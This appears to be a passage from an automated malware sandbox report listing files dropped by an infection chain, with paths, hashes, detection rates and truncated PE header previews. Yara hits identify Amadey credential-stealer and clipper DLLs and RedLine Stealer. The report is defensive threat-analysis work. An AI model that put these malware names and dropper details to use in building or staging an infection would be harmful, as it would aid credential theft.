Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\4767d2e713f2021e8fe856e3ea638b58[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406144
Entropy (8bit):	7.976285246977507
Encrypted:	false
SSDEEP:	98304:pjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/Ec:pIS769aql4v/ahlHt2c0v7pgQoJ
MD5:	80D75B9A49171FE842E9CD07A45CBA68
SHA1:	E6CE3056F850E9480BA6DB11A350EEEEAD9EEB90
SHA-256:	BCF01CEA95C62EFA97319E5955FA58EF2523C81FF6BF45C4A7489F68B2A6F856
SHA-512:	8D7B06903D7BDFA9218FCE2C89CCF2211A0C5AA480CCE933C8FF06E7DDCB4422FF113343B680294DCA3C0EA3D9CEFE53C2868F166F719829BA70A6B97413D1B7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34% Antivirus: Virustotal, Detection: 44%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C..............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\NewB[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	428544
Entropy (8bit):	6.494348537450964
Encrypted:	false
SSDEEP:	12288:5noAx+FnmuQhimtPURimLqevmipum+K4Y:5+FnmuGtpMLnLYY
MD5:	0099A99F5FFB3C3AE78AF0084136FAB3
SHA1:	0205A065728A9EC1133E8A372B1E3864DF776E8C
SHA-256:	919AE827FF59FCBE3DBAEA9E62855A4D27690818189F696CFB5916A88C823226
SHA-512:	5AC4F3265C7DD7D172284FB28C94F8FC6428C27853E70989F4EC4208F9897BE91720E8EEE1906D8E843AB05798F3279A12492A32E8A118F5621AC5E1BE2031B6
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\NewB[1].exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 91% Antivirus: Virustotal, Detection: 85%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......wD..3%..3%..3%..hM..=%..hM...%..hM.. %...H..!%...H..'%...H..F%..hM.."%..3%...%...K..2%...Ko.2%...K..2%..Rich3%..........................PE..L.... Me..........................................@.......................................@.................................D...x....p...........................L..P...8...................,...........@............................................text............................... ..`.rdata..............................@..@.data....F... ...4..................@....rsrc........p.......:..............@..@.reloc...L.......N...<..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amert[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1885696
Entropy (8bit):	7.950545984341186
Encrypted:	false
SSDEEP:	49152:cEn984TQ5OfyNqCq9/eMwfbsbTWX/cEeprH+/hngYQgDqa:7e4M5eyNqCuGCT2/cprH+/Rgcea
MD5:	E67C8B3E5EC9F64052FCD2F45341CFA5
SHA1:	0D809A3D9BC171D7A0DCBF2B6C3F3B009444ADC9
SHA-256:	1A94AE9809AF376B056D751363C524C22284D4BD978F30723DEB2C1F8307245B
SHA-512:	FE4C0E98881465A6627522F1D484983EBC9298870107156986A5BD6E5DB78D7C4D1FDA9B2B2DE663EFD343FD90A01DF058A85895B8BB1347B2026FB327A66624
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 58%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d.Y@...@...@....m..Q....m.......h..R....h..W....h..5....m..U....m..S...@........k..A....k1.A....k..A...Rich@...........PE..L...o..e..............................J...... ....@...........................J...........@.................................V...j............................J...............................J..................................................... . ............................@....rsrc...............................@....idata ............................@... .@*.........................@...avcjhwxy......0.....................@...nkwkrymv......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\file300un[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	399464
Entropy (8bit):	7.972213708887707
Encrypted:	false
SSDEEP:	6144:LlEGEyWKpTlDB878Ed8nFO+tFXFBCorNVDq5GZJrtLK7BYY0g2wqS5e8x:KGEyWERrpdTjZDqeh2Beg28Tx
MD5:	18B50C6016CD5D7FF2F01B71A5E3373B
SHA1:	D62DC0A84E39A1FFF24163153761C62A55FF30FE
SHA-256:	18D62AA8D04103058203E75FE4039DADB80EB0927DDD23B14F89C984F28AEA97
SHA-512:	27E0017FA30A9322E71191B2C4954D1F55D8FE827F029092FA3BDD6A52E799BBB671A776C3596A1DF02D8EBE660B2192F293CB67252EC289BBC99A8725CEAA19
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...-............."...0..Z............... ....@...... ..............................k.....`..........................................................................................y..8............................................................ ..H............text....Z... ...\.................. ..`.rsrc................^..............@..@........................................H......../...J......M.....................................................{...."..}.......~............~............~...........*.........^.(3.......}......}....&.(3..........o........~..............( ....&...}......s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z..s4...z&...}....&...}......&..(E....*VsP...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\jfesawdr[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6401863
Entropy (8bit):	7.960348454310837
Encrypted:	false
SSDEEP:	98304:YPvEbLriWEmQfgLVPn2qQniV0kSybkHXrsfM8n1TQuDFviH345nBIvgj2dKczf:SE7iWWaVP2qeiTHkbYMyTeHcNjEKczf
MD5:	9FB56DD5B5BEB0B9C5D0102F22373C0B
SHA1:	5559DC162D09C11C1ED80AEDF8E9FA86FD531E4C
SHA-256:	A65B290AA9EBFB82746CF75440C19956169F48D7DCBEBAFDE6996C9B46039539
SHA-512:	AB6C88ACDDF3350F4DA37E20E38FC1BD4AC56433D5320FA071649DDF261CF1B6BB4692B54791E08E47B9E887A87BA5704AFDE6CB9AA9220C1DA7F27C85400A1C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........w..w..w..<.V.w..<.T..w..<.U.w....Z.w......w......w......w...$.w...4.w..w..v......w......w....X.w......w..Rich.w..........PE..L......d...............!.....................@....@.......................................@.............................4.......P....`.......................`...#......T............................f..@............@..x...\... ....................text....-.......................... ..`.rdata......@.......2..............@..@.data...PG..........................@....didat.......P......................@....rsrc........`......................@..@.reloc...#...`...$..................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sarra[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2426880
Entropy (8bit):	7.9188002531384605
Encrypted:	false
SSDEEP:	49152:uGY5918NqwTEgTcaGkfI7S4295yiwYxnoOxMD54JUD4n4qvdr:HhTvN42bTphtGDDD4n4i
MD5:	B39F1B0CEE6D4E2DB93089CF201083BB
SHA1:	9DA7EEB833920AA16A880189D0AEDB87933A7444
SHA-256:	8DF27C757A73ABA800A0EEEE3186F1A92F009EF0889B8EB42604F518FB842C87
SHA-512:	6CFE01EF0DDD6AEA4BA5277D2CF8F7DED383DB0E2A1DC468CF0DDEDA29699699305C456D96F4097902D87BE05B6CAC00FB7683B116588BC1A5232B634190816C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......j.....s...s...s.e.p.%.s.e.v...s.e.t./.s..y..*.s..yw.=.s..yp.4.s..yv.u.s.e.w.6.s.e.u./.s.e.r.5.s...r...s..zz.2.s..z../.s..../.s..zq./.s.Rich..s.................PE..L.....2f...............'..............^...........@...........................^.....DP%...@.................................^ ..r....p........................]...............................].................................@................... . .`..........................@....rsrc........p......................@....idata ..... ......................@... .`+..0......................@...zhbidvgs. ....D.....................@...swmxyxsi......^.......$.............@....taggant.0....^.."....$.............@...........................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\alexxxxxxxx[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2831872
Entropy (8bit):	7.076550333890677
Encrypted:	false
SSDEEP:	49152:jOvdoJl7MWepyIsE7ddkxuq8rW5vs0VaCQeb5tsQcGo:GYIscWxuq8rUlVaCQo5tsQG
MD5:	31841361BE1F3DC6C2CE7756B490BF0F
SHA1:	FF2506641A401AC999F5870769F50B7326F7E4EB
SHA-256:	222393A4AB4B2AE83CA861FAEE6DF02AC274B2F2CA0BED8DB1783DD61F2F37EE
SHA-512:	53D66FA19E8DB360042DADC55CAAA9A1CA30A9D825E23ED2A58F32834691EB2AAAA27A4471E3FC4D13E201ACCC43160436ED0E9939DF1CC227A62A09A2AE0019
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........B............C......C..9...C......R!......R!......C.............R!.....c"......c"......Rich....................PE..L...w.(f...............'..........................@...........................+...........@.................................0..P.............................+..I..0m..8...........................Hl..@..............0............................text............................... ..`.rdata...M.......N..................@..@.data...............................@....idata...........................@..@.00cfg........+....................@..@.reloc..qh....+..j....*.............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\cred64[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1285632
Entropy (8bit):	6.460494158653329
Encrypted:	false
SSDEEP:	24576:IvkQL6YY4wMPSYZofkf0Gh6Pi41+a9uyP5dggky+yC7:IsMPSYcS5wPi095Pbg9y
MD5:	15A42D3E4579DA615A384C717AB2109B
SHA1:	22AEEDEB2307B1370CDAB70D6A6B6D2C13AD2301
SHA-256:	3C97BB410E49B11AF8116FEB7240B7101E1967CAE7538418C45C3D2E072E8103
SHA-512:	1EB7F126DCCC88A2479E3818C36120F5AF3CAA0D632B9EA803485EE6531D6E2A1FD0805B1C4364983D280DF23EA5CA3AD4A5FCA558AC436EFAE36AF9B795C444
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\cred64[1].dll, Author: Joe Security
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............^...^...^.._...^.._...^.._2..^W._..^W._...^W._...^.._...^...^C..^.._...^.._...^..X^...^.._...^Rich...^........................PE..d...i..e.........." .........R......h........................................P............`......................................... ...X...x........ .......`..(............0..........p........................... ................................................text............................... ..`.rdata..............................@..@.data...L........D..................@....pdata..(....`......................@..@_RDATA..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1166336
Entropy (8bit):	7.035569611926666
Encrypted:	false
SSDEEP:	24576:oqDEvCTbMWu7rQYlBQcBiT6rprG8auw2+b+HdiJUX:oTvC/MTQYxsWR7auw2+b+HoJU
MD5:	34C3E84E001DB4CF23A94BE34D462F11
SHA1:	9B8C2530B209F24FE68453B6B0173C240F308DA9
SHA-256:	A72A1A6DDEA799284A544697471BE6F796CB7A0B7CF8857F3FDC7277EEAE10CC
SHA-512:	F31948B3F6A431BCC4297D7AC9CA36D362947202A9B9D4322476AFE5F60C1C8E13F1E7FD93E38410F3D6ED87B2C1920709C25A0F40A23BB602F8F374527DAA5B
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....5f..........".................w.............@..........................0............@...@.......@.....................d...\|....@..\|a.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...\|a...@...b..................@..@.reloc...u.......v...V..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\swiiiii[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	329352
Entropy (8bit):	7.976897467568528
Encrypted:	false
SSDEEP:	6144:DFZcMaQk5oqtag00+wX3bSJxuI2Hc8PlsLNuPhRF1Ym:DFZg5Ztj00+03mJxmc8PfPwm
MD5:	1C7D0F34BB1D85B5D2C01367CC8F62EF
SHA1:	33AEDADB5361F1646CFFD68791D72BA5F1424114
SHA-256:	E9E09C5E5D03D21FCA820BD9B0A0EA7B86AB9E85CDC9996F8F1DC822B0CC801C
SHA-512:	53BF85D2B004F69BBBF7B6DC78E5F021ABA71B6F814101C55D3BF76E6D058A973BC58270B6B621B2100C6E02D382F568D1E96024464E8EA81E6DB8CCD948679D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...]h.f................................. ........@.. ....................... .......b....`.................................L...O.......:................N........................................................... ............... ..H............text........ ...................... ..`.rsrc...:...........................@..@.reloc..............................@..B........................H........................................................................0..........r...p...(......0..........rg..p...(.......]*.0..\.........i.s........+...o.......X.... ....2..o.......o........8.........-X....d....(......(....&s..........o......o.....1......o...........o....r...po.....3....+.s.........o.......o.......o.......o.......o.......o.......Lo.......o.......o...........o........o.....Yo.........+........(...........o....+....2...X.. ....?........+A..... ........

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	112128
Entropy (8bit):	6.400158525810517
Encrypted:	false
SSDEEP:	3072:Q3uSD+ZwruS0bGcuZRt2sSZV/Q3IegRQod4l:AuTiabHuZRAFtlD4l
MD5:	726CD06231883A159EC1CE28DD538699
SHA1:	404897E6A133D255AD5A9C26AC6414D7134285A2
SHA-256:	12FEF2D5995D671EC0E91BDBDC91E2B0D3C90ED3A8B2B13DDAA8AD64727DCD46
SHA-512:	9EA82E7CB6C6A58446BD5033855947C3E2D475D2910F2B941235E0B96AA08EEC822D2DD17CC86B2D3FCE930F78B799291992408E309A6C63E3011266810EA83E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[1].dll, Author: Joe Security Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[1].dll, Author: Joe Security
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...c.j.c.j.c.j.8.i.i.j.8.o..j.8.n.q.j..n.l.j..i.r.j..o.B.j.8.k.d.j.c.k...j...c.`.j...j.b.j.....b.j...h.b.j.Richc.j.........................PE..L...j..e...........!.....$...........f.......@............................................@......................... ...........P.......................................8...........................(...@............@..L............................text...6#.......$.................. ..`.rdata..4i...@...j...(..............@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\u6po.0.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\install[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4448942
Entropy (8bit):	7.996740744908945
Encrypted:	true
SSDEEP:	98304:zgwR5qybOM3rY1buPd0+01mQ5YBGUYDU4a6FXg+d70MYVSuEQQpnlJYtDf+8:zgDyaM3qbA0+07YBeDa6a++b5Evn4tF
MD5:	0F52E5E68FE33694D488BFE7A1A71529
SHA1:	11D7005BD72CB3FD46F24917BF3FC5F3203F361F
SHA-256:	EFD29C35766C607AA15D1CB83DEC625739791B1616AD37D5B47E78CDB8A42CA8
SHA-512:	238FBB1C04EEF2F2005CB7ABF0223E3CD062D9D2840966292E19DCAA495609E134A0BDC35389AE9925ECFC787A13772D3AC7B29058579F702BC849DD0343C400
Malicious:	true
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L......P.....................\....../.............@..........................P......3-......................................t........0..................................................................................l............................text.............................. ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc........0......................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.c...P....Y.nj'.S....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.f...Y.r8..j...t.A...t$..D....V....s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.d.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\swiiii[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	162304
Entropy (8bit):	7.967195699444992
Encrypted:	false
SSDEEP:	3072:I1lmOH349skOxH49PsH+8KqnuHV7A/5S+c6wABA47PN/6wHFHJ:I1iekOxYlI+EuH2cvAe4BywlH
MD5:	586F7FECACD49ADAB650FAE36E2DB994
SHA1:	35D9FB512A8161CE867812633F0A43B042F9A5E6
SHA-256:	CF88D499C83DA613AD5CCD8805822901BDC3A12EB9B15804AEFF8C53DC05FC4E
SHA-512:	A44A2C99D18509681505CF70A251BAF2558030A8648D9C621ACC72FAFCB2F744E3EF664DFD0229BAF7C78FB72E69F5D644C755DED4060DCAFA7F711D70E94772
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....G..........."...0..p...........4... ........@.. ....................................`.................................74..O....................................3..8............................................ ............... ..H............text...Po... ...p.................. ..`.rsrc................r..............@..@.reloc...............x..............@..B................k4......H........$.................................................................]*....0............i.s........+...o.......X.... ....2..o.......o........8.........-N....d....(......(....&s..........o.........o...........o....r...p(.....3....+.s....%.o....%.o....%.o....%.o....%.o....%.o....%.Lo....%.o....%.o....%.o....%o.....Yo.........+........(...........o....+....2...X.. ....?........+<. ....... ...............XX.. ....].......................X.. ....2........8.......+w..X ....].

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\toolspub1[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	279040
Entropy (8bit):	6.729582020715566
Encrypted:	false
SSDEEP:	6144:Dw7X5rSoVVk3NqPNPhZ0Q4KROPnEJRYiyP:D0xSoVyNqPNIXGRe
MD5:	A9C28724B16C3BB3AF2FDB5AA9BE277C
SHA1:	BEF9C7B857D0BC6C0D90204765704CA411A60E6D
SHA-256:	3500071769305B1D5753CCBDCB16BCD2AB047AE7994741E4628F68FEB939E9B7
SHA-512:	6966DD9AE3C17C83DB07FFAF69D035A89D82A315DD92D7465192E0FC14C7E750B1FB2163C662A926B103E516FFFDB345112353F054CAD079AAB96A1B17A4BC3F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........e.\...\...\...Q...@...Q...#...Q...w...U...Y...\...6....D..]...Q...]....D..]...Rich\...................PE..L....Nkc......................_......C....... ....@...........................`.................................................<....._..[...........................!..8........................... z..@............ ..p............................text............................... ..`.rdata..Bm... ...n..................@..@.data...H.]......r...t..............@....rsrc....[...._..\..................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ISetup8[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	473601
Entropy (8bit):	7.255803870917765
Encrypted:	false
SSDEEP:	6144:a7ChA4VgoGhrVNWUovmcfVL520yANcFlI22in1en/S3j4iWl:a72A4VgEvmcH9yKCpM/e4iWl
MD5:	85D23A7E1BF2207A3FA825136090E00D
SHA1:	A1FDCAF5B513DAB9A0A6D0390626F808E508765E
SHA-256:	F0C8D2724E6659B3DE34A5422376194EBB203B2D5EDC49F61CEFE483A2E73E6D
SHA-512:	0714573D799E4D5B4A3DA96E192AFA12A211421BC022FE6671EB67AD81BD581012581F919A20EDBF8BEB32AF87FFDB7A518424D5A1A9E56556A4BBFA72CE1CC2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L....E.d......................b......A....... ....@...........................c.....7..........................................<.....a..............................!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data...H%`..........~..............@....rsrc.........a......(..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\gold[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	578048
Entropy (8bit):	7.272707802677416
Encrypted:	false
SSDEEP:	12288:D/fI5jU8KHNXx/WRjeew+6P5zwMzAbPxlj6M+KjLHo:D3IYNXxya9+TMzMTj6rKjb
MD5:	F15A9CFA3726845017A7F91ABE0A14F7
SHA1:	5540AE40231FE4BF97E59540033B679DDA22F134
SHA-256:	2DEC75328413D4C278C119DB42920FB183A88A5398D56ECC80C8CC74FBA13071
SHA-512:	1C2AF9608736AD6A02D093F769FE5EC5A06CB395A639E021D4EE3F6C46CEBC8C101E7DB1064984F801AD3BEE65D81B95FE6E2E60C0EC949BB172BA9C455B9869
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(tY.F'Y.F'Y.F'..E&U.F'..C&.F'..B&L.F'..B&K.F'..E&M.F'..G&\.F'Y.G'..F'..C&..F'..C&X.F'..D&X.F'RichY.F'................PE..L.....4f...............'.............a.......0....@..........................?............@..................................0..................................l......................................@............0..<............................text............................... ..`.DAX.........0......................@..@.data...T...........................@....Left...............................@....reloc..l...........................@..B.INV.........0......................@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\jok[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	311296
Entropy (8bit):	5.0817932970004
Encrypted:	false
SSDEEP:	3072:uq6EgY6i4rUjhYMLwPcologL/ejZWTACtAti0lcZqf7D34leqiOLibBOp:VqY6inwPDpKZWTA+AplcZqf7DIvL
MD5:	8510BCF5BC264C70180ABE78298E4D5B
SHA1:	2C3A2A85D129B0D750ED146D1D4E4D6274623E28
SHA-256:	096220045877E456EDFEA1ADCD5BF1EFD332665EF073C6D1E9474C84CA5433F6
SHA-512:	5FF0A47F9E14E22FC76D41910B2986605376605913173D8AD83D29D85EB79B679459E2723A6AD17BC3C3B8C9B359E2BE7348EE1C21FA2E8CEB7CC9220515258D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\jok[1].exe, Author: Joe Security
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...)v................0................. ... ....@.. ....................... ............@.................................t...O.... ..............................X................................................ ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2390528
Entropy (8bit):	7.919291926748545
Encrypted:	false
SSDEEP:	49152:bGY5918NqwTEgTcQ26a+gdlb2SAc4CSf24JbhV6qDpEovLz8MBpUoo:ohTP6t299CczlXMSlo
MD5:	C1BF02296C415ABC8B1F0ED13088D96D
SHA1:	6506E74510BC28BE318B75736EA0B36C62C6766C
SHA-256:	EE57FAE40BB8457A507F59569B111660438812426852E7B13299E841E82E8302
SHA-512:	CF4F8314054472920878DA5237D258EF9E2C728AE1BB0487F5ACCE938A3842567BD3036F8C40F6A6D18501F8D80E9A4FE1E7F517F1315A47326A0F0D29317D03
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......j.....s...s...s.e.p.%.s.e.v...s.e.t./.s..y...s..yw.=.s..yp.4.s..yv.u.s.e.w.6.s.e.u./.s.e.r.5.s...r...s..zz.2.s..z../.s..../.s..zq./.s.Rich..s.................PE..L.....2f...............'..............]...........@...........................].......$...@.................................^0..r....p........................\...............................\.................................@................... . .`..........................@....rsrc........p......................@....idata .....0......................@... ....@......................@...agovwish......D.....................@...lcjgmmfi......]......T$.............@....taggant.0....].."...X$.............@...........................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	14437
Entropy (8bit):	4.960379440179098
Encrypted:	false
SSDEEP:	384:iVib49PVoGIpN6KQkj2kkjh4iUxMhQzhIqYo8YKib4o:iFPV3IpNBQkj2Nh4iUxMhihIqYo8YR
MD5:	F2E1B889FAD5371C1763FB12D73B4EAE
SHA1:	AE45955F14208A1232CD0BB6EDEB1D5CC7C3CCA1
SHA-256:	F2EF4393FE68ED5FD087C4E656340A94B58D90B464F9427C2A01C7C880B8E95B
